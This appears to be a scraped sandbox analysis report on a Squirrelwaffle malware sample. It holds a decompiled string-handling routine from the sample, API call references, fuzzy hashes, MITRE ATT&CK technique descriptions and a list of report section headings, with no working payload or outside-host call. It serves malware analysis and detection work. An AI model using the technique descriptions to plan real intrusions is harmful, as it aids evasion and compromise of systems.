						 *((char*)(_t94 + _a4)) = 0;
						_t93 = _v16;
					}
					 *(_t93 + 0x10) = 0;
					 *(_t93 + 0x14) = 0;
					asm("movups xmm0, [edi]");
					asm("movups [esi], xmm0");
					asm("movq xmm0, [edi+0x10]");
					asm("movq [esi+0x10], xmm0");
					 *(_t92 + 0x10) = 0;
					 *((intOrPtr*)(_t92 + 0x14)) = 0xf;
					 *_t92 = 0;
					return _t93;
				} else {
					_t9 = _t83 + 0x14; // 0x6f430a0d
					_t61 =  *_t9 - _t90;
					if(_t61 < _t85) {
						_t53 = _v8;
						goto L17;
					} else {
						if(__edx[5] >= 0x10) {
							_t92 =  *__edx;
						}
						if(_t85 > _t61) {
							_push(_t85);
							_push(_t92);
							_a4 = 0;
							_t83 = E10007FA0(_t83, _t85, _a4, _t85);
						} else {
							_a4 = _t83;
							 *(_t83 + 0x10) = _t85 + _t90;
							if( *((intOrPtr*)(_t83 + 0x14)) >= 0x10) {
								_a4 =  *_t83;
							}
							if(_t85 + _t92 <= _a4 || _t92 > _a4 + _t90) {
								_v8 = _t85;
							} else {
								_t80 = _a4;
								if(_t80 > _t92) {
									_v8 = _t80 - _t92;
								} else {
									_v8 = 0;
								}
							}
							_t23 = _t90 + 1; // 0x1
							memmove(_a4 + _t85, _a4, _t23);
							memcpy(_a4, _t92, _v8);
							memcpy(_a4 + _v8, _v12 + _v8 + _t92, _v12 - _v8);
						}
						 *(_t93 + 0x10) = 0;
						 *(_t93 + 0x14) = 0;
						asm("movups xmm0, [ebx]");
						asm("movups [esi], xmm0");
						asm("movq xmm0, [ebx+0x10]");
						asm("movq [esi+0x10], xmm0");
						 *(_t83 + 0x10) = 0;
						 *((intOrPtr*)(_t83 + 0x14)) = 0xf;
						 *_t83 = 0;
						return _t93;
					}
				}
			}

APIs

memmove.VCRUNTIME140(1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073E2
memcpy.VCRUNTIME140(1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073EE
memcpy.VCRUNTIME140(1000A544,1000A544,1000A544,1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 1000740A

Part of subcall function 10007FA0: memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 1000806F
Part of subcall function 10007FA0: memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?,1000A544,?), ref: 1000807D

memmove.VCRUNTIME140(?,1000A544,00000000,?,?,?,00000000,1000A544,00000001), ref: 10007485

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$memmove
String ID:
API String ID: 1283327689-0
Opcode ID: 38adff67f3d02fe9d91b0768485c7fb4c79d05d569dd72fa4f52fb8c31f97000
Instruction ID: 6cefeb0136f7db0d25a9a6f48ad09ae80a1bc8ec65e8766b689d12a4ca1648c8
Opcode Fuzzy Hash: 38adff67f3d02fe9d91b0768485c7fb4c79d05d569dd72fa4f52fb8c31f97000
Instruction Fuzzy Hash: AB517471A00645EFEB14CF68D884B9ABBF5FF49380F104569E908CB205D7B4EA94CBD1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report test2.test

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Squirrelwaffle

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Function 10003B10, Relevance: 108.7, APIs: 47, Strings: 14, Instructions: 1941
processsleepstringCOMMON

Function 10001DB0, Relevance: 77.1, APIs: 33, Strings: 10, Instructions: 1866
networkCOMMON

Function 100011A0, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 162
memoryCOMMON

Function 10005880, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 1000829F, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Function 10006CC0, Relevance: 4.6, APIs: 3, Instructions: 130
COMMON

Function 100090EE, Relevance: 6.0, APIs: 4, Instructions: 26
timethreadCOMMON

Function 100016E0, Relevance: 4.0, APIs: 3, Instructions: 248
COMMONCrypto

Function 10008DA1, Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Function 10001470, Relevance: .2, Instructions: 219
COMMONCrypto

Function 10006270, Relevance: 13.7, APIs: 9, Instructions: 227
COMMON

Function 10007640, Relevance: 10.6, APIs: 7, Instructions: 87
COMMON

Function 100079E0, Relevance: 9.2, APIs: 6, Instructions: 159
COMMON

Function 10008ADF, Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Function 100089E2, Relevance: 9.1, APIs: 6, Instructions: 70
COMMON

Function 10006610, Relevance: 7.7, APIs: 5, Instructions: 208
COMMON

Function 10007880, Relevance: 7.6, APIs: 5, Instructions: 139
COMMON

Function 10007350, Relevance: 5.1, APIs: 4, Instructions: 147
COMMON